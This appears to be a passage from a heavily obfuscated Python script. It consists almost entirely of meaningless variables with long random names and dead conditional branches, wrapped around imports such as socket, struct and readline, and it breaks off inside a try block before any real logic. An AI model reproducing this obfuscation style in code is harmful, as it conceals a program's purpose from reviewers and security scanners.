#!/usr/bin/env python
vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG = 'PODHVzRMkryHrrFNpRPEpqibPJADSAQnBfyfPPzQIGNCJKrkuEHEIBARERCIvji'
JoFxFzSnoGyIIqoRrSqrQGGDtNFCMLvFDyorQEXmIFBPGfwMHGFgqxivXxsmDEr = 'gqIGmCSEjIQDQvYeGxRyJxiOAyNGRSjFPNCyGvEQAMAQUBeoIGgvZIDYJqHpFPn'
ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS = 'NPsAGSmtUxERRwwrzvqQzCAlGnIHYyFnHFzDzqnDoFGsSBSOpGAhzynBsCHPJEb'
qmEDSnLovSFGBFJqyFErrRRIJHZwSSHyKqSRRoFrAWHQPrwHuzEuxnCGAOAQIHD = 'SnLszBwJDIyAvSnCzwjbHyBFrmsGRWAIIOQICsNuCqqFSwzmSsyxPnJIgJuHzVn'
RcGYWAQtPiwNAIRIJCgDFwNzqBIyGipHyEIxkQGguiqkMyBDAXquRFtEUsETPEf = 'IwFACDxIyIMAIQEUmGhBpRINDCInRRPNHzRwkzfvssJIzJtLEkSiQHHOFSEFsIG'
zuvtGSOOCZofFWvFRQEUURBtwFQxrCCEJjpSRHJCrzQQHDRpCRxlwFOCTJSlsBq = 'AGlEctIlqpXBAfIIlFSOzOHCIBDBwuelIxCEuEzGQuKtwWCtUwuDiBUHCuyQk'
if vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG != qmEDSnLovSFGBFJqyFErrRRIJHZwSSHyKqSRRoFrAWHQPrwHuzEuxnCGAOAQIHD:
    JoFxFzSnoGyIIqoRrSqrQGGDtNFCMLvFDyorQEXmIFBPGfwMHGFgqxivXxsmDEr = ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS
    for zuvtGSOOCZofFWvFRQEUURBtwFQxrCCEJjpSRHJCrzQQHDRpCRxlwFOCTJSlsBq in qmEDSnLovSFGBFJqyFErrRRIJHZwSSHyKqSRRoFrAWHQPrwHuzEuxnCGAOAQIHD:
        if zuvtGSOOCZofFWvFRQEUURBtwFQxrCCEJjpSRHJCrzQQHDRpCRxlwFOCTJSlsBq != ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS:
            JoFxFzSnoGyIIqoRrSqrQGGDtNFCMLvFDyorQEXmIFBPGfwMHGFgqxivXxsmDEr = JoFxFzSnoGyIIqoRrSqrQGGDtNFCMLvFDyorQEXmIFBPGfwMHGFgqxivXxsmDEr
        else:
            RcGYWAQtPiwNAIRIJCgDFwNzqBIyGipHyEIxkQGguiqkMyBDAXquRFtEUsETPEf = vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG
else:
    ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS = vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG
    vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG = RcGYWAQtPiwNAIRIJCgDFwNzqBIyGipHyEIxkQGguiqkMyBDAXquRFtEUsETPEf
    if ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS == vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG:
        for zuvtGSOOCZofFWvFRQEUURBtwFQxrCCEJjpSRHJCrzQQHDRpCRxlwFOCTJSlsBq in vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG:
            if zuvtGSOOCZofFWvFRQEUURBtwFQxrCCEJjpSRHJCrzQQHDRpCRxlwFOCTJSlsBq == ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS:
                ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS = vsOPwRBSAJECGzEmXSDPBBFTQGNFDlxPYERDOoDJFFqEsGGIXlfMEyQHIzxPCHG
            else:
                ODnePtMNvrnuSwHzGpfPQyGWQzyyRzYvwGVSTiDBxPwiIXIppHIrrPAunANFmJS = RcGYWAQtPiwNAIRIJCgDFwNzqBIyGipHyEIxkQGguiqkMyBDAXquRFtEUsETPEf
# -*- coding: utf-8 -*-
HnAmlQjvxExqNpxjCtsvtEtiOeOSQvuDBhvBqGUshzyBHHGsGHDuBgFFvCNAquS = 'uCEHAlIxtBWHDInFPMEBPzJDISRAZwnyCweIDFHFfEQZBzQIxSGkvEQExGBOszo'
NCPIBAFytJrIBjDGwCvUtRJrBEQIspxSmVHDEVJPJAAqCBvRQVmjpCsRxzyBFsl = 'XYxrumRtuwCEgHEHDpNJNFJuFayEyXlzrjnoHBsCGDBNRWyvVbgUSSLOSSGAAz'
GPPsRBIvGlPHHQJZYCRVtkAFIFqrpRFPvEZvqRnMiFipFZvJLXIwIMSpMRJPUSh = 'wFBqHPGJJrFVDrETfqCoDJDNmoqrPXvFGzxkRPWlIEALyIIVSOQVyDQPDvoAp'
if HnAmlQjvxExqNpxjCtsvtEtiOeOSQvuDBhvBqGUshzyBHHGsGHDuBgFFvCNAquS == NCPIBAFytJrIBjDGwCvUtRJrBEQIspxSmVHDEVJPJAAqCBvRQVmjpCsRxzyBFsl:
    GPPsRBIvGlPHHQJZYCRVtkAFIFqrpRFPvEZvqRnMiFipFZvJLXIwIMSpMRJPUSh = 'wFBqHPGJJrFVDrETfqCoDJDNmoqrPXvFGzxkRPWlIEALyIIVSOQVyDQPDvoAp'
    GPPsRBIvGlPHHQJZYCRVtkAFIFqrpRFPvEZvqRnMiFipFZvJLXIwIMSpMRJPUSh = HnAmlQjvxExqNpxjCtsvtEtiOeOSQvuDBhvBqGUshzyBHHGsGHDuBgFFvCNAquS
else:
    GPPsRBIvGlPHHQJZYCRVtkAFIFqrpRFPvEZvqRnMiFipFZvJLXIwIMSpMRJPUSh = 'wFBqHPGJJrFVDrETfqCoDJDNmoqrPXvFGzxkRPWlIEALyIIVSOQVyDQPDvoAp'
    GPPsRBIvGlPHHQJZYCRVtkAFIFqrpRFPvEZvqRnMiFipFZvJLXIwIMSpMRJPUSh = 'uCEHAlIxtBWHDInFPMEBPzJDISRAZwnyCweIDFHFfEQZBzQIxSGkvEQExGBOszo'
import argparse
FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO = 'DEQAhOrSxSqCjgBRDRAEWDwJmPwnYjpQJDRILJGRIkzrvCGwtGBIEpqwurCOIqt'
zrwIDczKqsJSwHjAPNIwHuGxDvmGSNrCvrFPHzggJODPtZtCwyTnIjfawppsDSl = 'QUnNEzvNRpkJCeEBsRkNBFNXYJPbgIvzHJCoEFkAPAsIIlFiPLIHzGEDoHRshBN'
kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk = 'ztqKwtoZGuBJBQwVCxPNDEBnJlsPvFQCzWyAeJtLHNUbBDyuquPiDByDDDLMGYw'
orzPPhiIFzHysBxHGIfWGrHGzLDNJwDxqHFlByNVYHPkNUBGQENNPxDEFGpteSi = 'mxzvuCvDNJzQTQxZAWEvBByxHnxYuPByFDAEwvilGbLNIzeHtqMapjQoQHIPwMl'
FXEmsgRNEFENzJzGfuHWAJIVUDHwhlssZuPxBFwDQhwHXAEGrCBuGAsRJtSAFSD = 'tqGxxJMzzHIPrAsrUyMHDJwvEAjqyOICwPRJLJRpAJruIIGFqQSycyguoGCGEvG'
nJyoFQPMEJzxtrsyRqPUEHQRvXoSjwBSAMmFCQJGUwuvTHnGJJCpoVtJSsWzkvl = 'SNzDiAxgfAGuHvysgsnDIqwyDRJNNpLHzFyyyrQOHGHIGOzWbCNIVyHVArlJuYt'
if FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO != orzPPhiIFzHysBxHGIfWGrHGzLDNJwDxqHFlByNVYHPkNUBGQENNPxDEFGpteSi:
    zrwIDczKqsJSwHjAPNIwHuGxDvmGSNrCvrFPHzggJODPtZtCwyTnIjfawppsDSl = kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk
    for nJyoFQPMEJzxtrsyRqPUEHQRvXoSjwBSAMmFCQJGUwuvTHnGJJCpoVtJSsWzkvl in orzPPhiIFzHysBxHGIfWGrHGzLDNJwDxqHFlByNVYHPkNUBGQENNPxDEFGpteSi:
        if nJyoFQPMEJzxtrsyRqPUEHQRvXoSjwBSAMmFCQJGUwuvTHnGJJCpoVtJSsWzkvl != kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk:
            zrwIDczKqsJSwHjAPNIwHuGxDvmGSNrCvrFPHzggJODPtZtCwyTnIjfawppsDSl = zrwIDczKqsJSwHjAPNIwHuGxDvmGSNrCvrFPHzggJODPtZtCwyTnIjfawppsDSl
        else:
            FXEmsgRNEFENzJzGfuHWAJIVUDHwhlssZuPxBFwDQhwHXAEGrCBuGAsRJtSAFSD = FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO
else:
    kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk = FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO
    FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO = FXEmsgRNEFENzJzGfuHWAJIVUDHwhlssZuPxBFwDQhwHXAEGrCBuGAsRJtSAFSD
    if kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk == FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO:
        for nJyoFQPMEJzxtrsyRqPUEHQRvXoSjwBSAMmFCQJGUwuvTHnGJJCpoVtJSsWzkvl in FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO:
            if nJyoFQPMEJzxtrsyRqPUEHQRvXoSjwBSAMmFCQJGUwuvTHnGJJCpoVtJSsWzkvl == kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk:
                kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk = FGAxrqGBeIMCPRFzEFQLjOIuxrovBwPBumjEJHHgBQcHmpxsSBJQuZuTMQSyESO
            else:
                kICtTDGywDDCxvPrGVHCBsqOIxIPSipmOuEAJQkDUHHECZQMISQtRBCBAuqGPSk = FXEmsgRNEFENzJzGfuHWAJIVUDHwhlssZuPxBFwDQhwHXAEGrCBuGAsRJtSAFSD
import readline
FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV = 'VNCHyAvISPIyQHrIgyFPBNAFXCfGqHOJJoJDryuPwjxNDuoSRztRGEkJrBwBSCQ'
lShPutJRnIDFqugFRwoOOUGqqjnOtHDFFhWIBmfGVMqrmpSvyHwqrmoNGXFFCXJ = 'WrTERCnqjyFFYGpJFCMCwyVMAVhBMJnquBhHSaEpHjwrSRvSoSEDGrkwCfMExyy'
LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp = 'IXHvNDGBMIRhQPBrOiSzIQPmHGAQIQEBaMsnPgJDyBrGGQDOQPFJyuRxUoOwrmq'
UpkISEDIQSnTjtaqfmqhpHEFzQlVPIDOquEpQqutrAuBiPbIqDGvlBSJECylPPR = 'COSogRTCCSJVxjIBFmoyPFRsAzJBunntPJGFlARtYsHsiJDyEqVBwNvRTWwHPCD'
fPzSDRQvQtCJuSEQPPRuRSQDDOyHFVHRIHIGFJBYHwHuITGIPkpnnohHSsDIGxI = 'EShPOpXQyyNNwyOpoEpHEtFdCDSCovRRaZpRFsTZGBIJTDOJqdSQJGGPjwStB'
fnEGQtqCOCSJnHsjQwSiFIRtTYBSoqIcjqIIJCIEpGoxuEiyxCGJVrPmGmIEASL = 'PIIFsMgXSZHQzJhsySQyEZwIMFvSZZlNsSxywAMExmFXBvpAzuHcxQnHCStcwyB'
if FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV != UpkISEDIQSnTjtaqfmqhpHEFzQlVPIDOquEpQqutrAuBiPbIqDGvlBSJECylPPR:
    lShPutJRnIDFqugFRwoOOUGqqjnOtHDFFhWIBmfGVMqrmpSvyHwqrmoNGXFFCXJ = LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp
    for fnEGQtqCOCSJnHsjQwSiFIRtTYBSoqIcjqIIJCIEpGoxuEiyxCGJVrPmGmIEASL in UpkISEDIQSnTjtaqfmqhpHEFzQlVPIDOquEpQqutrAuBiPbIqDGvlBSJECylPPR:
        if fnEGQtqCOCSJnHsjQwSiFIRtTYBSoqIcjqIIJCIEpGoxuEiyxCGJVrPmGmIEASL != LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp:
            lShPutJRnIDFqugFRwoOOUGqqjnOtHDFFhWIBmfGVMqrmpSvyHwqrmoNGXFFCXJ = lShPutJRnIDFqugFRwoOOUGqqjnOtHDFFhWIBmfGVMqrmpSvyHwqrmoNGXFFCXJ
        else:
            fPzSDRQvQtCJuSEQPPRuRSQDDOyHFVHRIHIGFJBYHwHuITGIPkpnnohHSsDIGxI = FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV
else:
    LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp = FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV
    FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV = fPzSDRQvQtCJuSEQPPRuRSQDDOyHFVHRIHIGFJBYHwHuITGIPkpnnohHSsDIGxI
    if LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp == FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV:
        for fnEGQtqCOCSJnHsjQwSiFIRtTYBSoqIcjqIIJCIEpGoxuEiyxCGJVrPmGmIEASL in FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV:
            if fnEGQtqCOCSJnHsjQwSiFIRtTYBSoqIcjqIIJCIEpGoxuEiyxCGJVrPmGmIEASL == LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp:
                LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp = FutswxoyoEAGRSshHXGcIVBBDGyJFPmsnyvRHxJSDRPBBySSvuCCSMEDGwwqVRV
            else:
                LAByvPIqBrmHKJzFHxIuFIrxDQvuRdAURxIkBzPJnSvFHEIDMuxOqulNUjoWmGp = fPzSDRQvQtCJuSEQPPRuRSQDDOyHFVHRIHIGFJBYHwHuITGIPkpnnohHSsDIGxI
import socket
JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD = 'GQIwMzAASFrGJtHHIBnIqwFFSPQoUrugWwRMOhqyMjEIFDpQLHBNNIeImEFCEkH'
EwyImUFCHPMrEDXUIGSnEQkWoIttIxJgvHvsxECozBmlrbbxHGYDyHAIQevlSyE = 'srHCmGdJvpPvEQFJhFAkQLzxvySEFlOXXDCSzjySrOEuGEHURrFEsRDyzqMHHtF'
meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV = 'RyRQWVJzBnAqNlFmSnJrvpRIlsUAQtQQFSBRwJrzuRPxSzSwOWORDwehtPRPQz'
nTASTrFfQOWxyWGxvmqwABphGPSBvGSxBJvGAzAjMFHSvJyfwQsDCBADXPuuABC = 'PeLQAQGXPmGoQGQvfSQrCQADBBpQuOCIksJXrvPAISIFCHsSCHPmqEyMvSEuvpA'
DIZrQvASgNuHCRCvyvBQQmnLfIuFGHDBSBwFXJkIRvOHwHlowLlgkpIjVwRHXPn = 'uRCGSzEswvpGsQQRSQJzHrnCNOSJrAOqAPzARcAQWXJjCJnzGNumPKEJiFJDnqG'
ptFCpmIBEIwsaPqLZHyPrDzOISzRhDQJQRCDAEIHBYlmCSrqGQzqGICwBxwlxWu = 'DoSQHQQEFHQMFTAQoHSOEIIBSXAbyHAzsEtgvkZBEoxnGmDIVJzvEknOBTwQJu'
if JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD != nTASTrFfQOWxyWGxvmqwABphGPSBvGSxBJvGAzAjMFHSvJyfwQsDCBADXPuuABC:
    EwyImUFCHPMrEDXUIGSnEQkWoIttIxJgvHvsxECozBmlrbbxHGYDyHAIQevlSyE = meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV
    for ptFCpmIBEIwsaPqLZHyPrDzOISzRhDQJQRCDAEIHBYlmCSrqGQzqGICwBxwlxWu in nTASTrFfQOWxyWGxvmqwABphGPSBvGSxBJvGAzAjMFHSvJyfwQsDCBADXPuuABC:
        if ptFCpmIBEIwsaPqLZHyPrDzOISzRhDQJQRCDAEIHBYlmCSrqGQzqGICwBxwlxWu != meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV:
            EwyImUFCHPMrEDXUIGSnEQkWoIttIxJgvHvsxECozBmlrbbxHGYDyHAIQevlSyE = EwyImUFCHPMrEDXUIGSnEQkWoIttIxJgvHvsxECozBmlrbbxHGYDyHAIQevlSyE
        else:
            DIZrQvASgNuHCRCvyvBQQmnLfIuFGHDBSBwFXJkIRvOHwHlowLlgkpIjVwRHXPn = JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD
else:
    meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV = JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD
    JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD = DIZrQvASgNuHCRCvyvBQQmnLfIuFGHDBSBwFXJkIRvOHwHlowLlgkpIjVwRHXPn
    if meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV == JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD:
        for ptFCpmIBEIwsaPqLZHyPrDzOISzRhDQJQRCDAEIHBYlmCSrqGQzqGICwBxwlxWu in JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD:
            if ptFCpmIBEIwsaPqLZHyPrDzOISzRhDQJQRCDAEIHBYlmCSrqGQzqGICwBxwlxWu == meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV:
                meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV = JSASVPGPvDuIAqHHEgRHsPFyCyFQJyBEuDwRDiSmFFHSlVHICBfFuxyyoEoOBXD
            else:
                meSJnOpSHqzSDBzgIgRpoVjOGPHPDRpRzyvJzyPOnYCwPBAGuJLxMOCHPwCCQDV = DIZrQvASgNuHCRCvyvBQQmnLfIuFGHDBSBwFXJkIRvOHwHlowLlgkpIjVwRHXPn
import struct
kGQGuOIoCAIDYIcOrPwHwHGpNqPHIPBdSPuYIufZYSwDEBMCmvwIJfkSvGFCFyu = 'UvOtCyxwFiCHPvJJvIAJrNVwrWEFudHAOOpjpKdZHVLRQvGJENuQFuxARFvEIHA'
BiyOjtyOBHDHuRTFqqzHPzCflAJznTPyImHQIQGwJAIHVHyQhHFQCxTidASAIFf = 'sFBzhvVryPPRJGvtQUHMSHxRIuBSCyCCQsyMvxzDfNSPHGspnYxRRPvISJweKq'
if kGQGuOIoCAIDYIcOrPwHwHGpNqPHIPBdSPuYIufZYSwDEBMCmvwIJfkSvGFCFyu != BiyOjtyOBHDHuRTFqqzHPzCflAJznTPyImHQIQGwJAIHVHyQhHFQCxTidASAIFf:
    kGQGuOIoCAIDYIcOrPwHwHGpNqPHIPBdSPuYIufZYSwDEBMCmvwIJfkSvGFCFyu = 'sFBzhvVryPPRJGvtQUHMSHxRIuBSCyCCQsyMvxzDfNSPHGspnYxRRPvISJweKq'
    BiyOjtyOBHDHuRTFqqzHPzCflAJznTPyImHQIQGwJAIHVHyQhHFQCxTidASAIFf = kGQGuOIoCAIDYIcOrPwHwHGpNqPHIPBdSPuYIufZYSwDEBMCmvwIJfkSvGFCFyu
    kGQGuOIoCAIDYIcOrPwHwHGpNqPHIPBdSPuYIufZYSwDEBMCmvwIJfkSvGFCFyu = 'UvOtCyxwFiCHPvJJvIAJrNVwrWEFudHAOOpjpKdZHVLRQvGJENuQFuxARFvEIHA'
import sys
xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr = 'yEGovRPxvRZFyRpjvuSEmtuSFOEvPHHmJSdDyPsZuCmJvIXDyikYCENJNNEGBsY'
EusIrwDCIPjrwAMNgtEMDDwDNsGqghpGPzFiGEqzymEEHJRJmPZrRrFHmRHGtHy = 'aGQJEIwAIxBSEMmvEoSxMkgHrJdzIJwwBIDZGOLrSVBoBtQUyANFPXywvgyHRsr'
kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy = 'SDCAVwQGrLFDyIJRHNOFZJIFGPPEHsSARNBXumvvJESvwjhlHLAzqRNxZIFIHH'
HztkxnSlGAJAHlDwhpMkYSIvOzzwHEwFsftuESAFBFmkxeGJAAYvIvSQCDmqEmv = 'TIKJDvsAFINmzAHxvRnDoIGmBRHAOSBDRfChUxSBsySDEtHonFBwiJEVlDAyGzJ'
HvuzTuSBCuRlhfOrGmSeIjIGPzeoDAuyoryEEQFWyxPLlgwYGbunavosPOYtmPU = 'plANWRwrxPyvRSFJhjlICVLAoJMEoQpmqAnHOuoPtGJSyJsnpWHvzRsqSElXzHP'
PBwFRFQCQvvPuANBjIzyHwCTICySyqzpiSyuSByhIwsCGjxGPNUFerQqWCNxBuQ = 'QSxeFYoFFzxzEyGpFGzTEsQSVvxsJwZAjRJmlqvGVkzkBvJUCOsBgCxYHQhFCjo'
if xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr != HztkxnSlGAJAHlDwhpMkYSIvOzzwHEwFsftuESAFBFmkxeGJAAYvIvSQCDmqEmv:
    EusIrwDCIPjrwAMNgtEMDDwDNsGqghpGPzFiGEqzymEEHJRJmPZrRrFHmRHGtHy = kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy
    for PBwFRFQCQvvPuANBjIzyHwCTICySyqzpiSyuSByhIwsCGjxGPNUFerQqWCNxBuQ in HztkxnSlGAJAHlDwhpMkYSIvOzzwHEwFsftuESAFBFmkxeGJAAYvIvSQCDmqEmv:
        if PBwFRFQCQvvPuANBjIzyHwCTICySyqzpiSyuSByhIwsCGjxGPNUFerQqWCNxBuQ != kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy:
            EusIrwDCIPjrwAMNgtEMDDwDNsGqghpGPzFiGEqzymEEHJRJmPZrRrFHmRHGtHy = EusIrwDCIPjrwAMNgtEMDDwDNsGqghpGPzFiGEqzymEEHJRJmPZrRrFHmRHGtHy
        else:
            HvuzTuSBCuRlhfOrGmSeIjIGPzeoDAuyoryEEQFWyxPLlgwYGbunavosPOYtmPU = xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr
else:
    kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy = xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr
    xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr = HvuzTuSBCuRlhfOrGmSeIjIGPzeoDAuyoryEEQFWyxPLlgwYGbunavosPOYtmPU
    if kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy == xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr:
        for PBwFRFQCQvvPuANBjIzyHwCTICySyqzpiSyuSByhIwsCGjxGPNUFerQqWCNxBuQ in xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr:
            if PBwFRFQCQvvPuANBjIzyHwCTICySyqzpiSyuSByhIwsCGjxGPNUFerQqWCNxBuQ == kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy:
                kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy = xCDJssEABDQDMGsWrqLHHOgQSwGBuNhkwkAyzGqDPqCGRJZGsysSHRSqROIHCmr
            else:
                kOktAXBvRCzIEDyEqSIzqDssMQnmHRAwPzFZDvXEuGIHrvvFJqXHpbNBSFrHojy = HvuzTuSBCuRlhfOrGmSeIjIGPzeoDAuyoryEEQFWyxPLlgwYGbunavosPOYtmPU
import time
SHEuufMRxGEOwhMJZOJzJBSQcVnkIpwuIMwwrzCjyuvmvekExoCFGGYFOIZSmyO = 'QDssZMrpgwwDxfBjGGofwHGyHzOjAsNHCOHyGRsAOyCszRsrYuBjouSORSDMfEk'
TyRvRJPfvEFfkmrGFSoSrNRqFNJUPSsyykRNGzSvvGSNQzumDyBHzMPMRyPIPBz = 'RHCVfvNsBOLyQDukFAziDPyVIBSHESIwrHCBtPfrtFxgyyFwlwHOIPCNPHUOJCW'
if SHEuufMRxGEOwhMJZOJzJBSQcVnkIpwuIMwwrzCjyuvmvekExoCFGGYFOIZSmyO != TyRvRJPfvEFfkmrGFSoSrNRqFNJUPSsyykRNGzSvvGSNQzumDyBHzMPMRyPIPBz:
    SHEuufMRxGEOwhMJZOJzJBSQcVnkIpwuIMwwrzCjyuvmvekExoCFGGYFOIZSmyO = 'RHCVfvNsBOLyQDukFAziDPyVIBSHESIwrHCBtPfrtFxgyyFwlwHOIPCNPHUOJCW'
    TyRvRJPfvEFfkmrGFSoSrNRqFNJUPSsyykRNGzSvvGSNQzumDyBHzMPMRyPIPBz = SHEuufMRxGEOwhMJZOJzJBSQcVnkIpwuIMwwrzCjyuvmvekExoCFGGYFOIZSmyO
    SHEuufMRxGEOwhMJZOJzJBSQcVnkIpwuIMwwrzCjyuvmvekExoCFGGYFOIZSmyO = 'QDssZMrpgwwDxfBjGGofwHGyHzOjAsNHCOHyGRsAOyCszRsrYuBjouSORSDMfEk'
try:
    PzuzFJJGwIWteQwnCDgJxQuFkRnpPmSFEioyJMRHgvNQPSwDUDIwISASNBHhBEi = 'AFiqJmENAxsoJvywLROHsBAHwjlydCJJIsrEzMlUivBORXzRSrrmROoXyHhJJmz'
    jvzTBsPORYGBRGlIRyORzDjIwFgFFAEFNOEDCDjIrHvUeDpJzIHHZSyxnqRXDQ = 'NCBPAJypGPrAzvIBEBvASNOvrIEnOJZDIJSYsvAItdCJIPzHXyFLaCJCHawBCIt'
    fCrQQOuEytIHHCBPMuJJDQIrGCPCdxFrRuSHWCkuExBwIGNRSHqVqiPvdQXwwqE = 'WHNjxyMsQFRnCSZSxypIEjCJPDBulQoHPhFCNQvjnpSuBDPKQWIIJFECFpUYGup'
    if PzuzFJJGwIWteQwnCDgJxQuFkRnpPmSFEioyJMRHgvNQPSwDUDIwISASNBHhBEi == jvzTBsPORYGBRGlIRyORzDjIwFgFFAEFNOEDCDjIrHvUeDpJzIHHZSyxnqRXDQ:
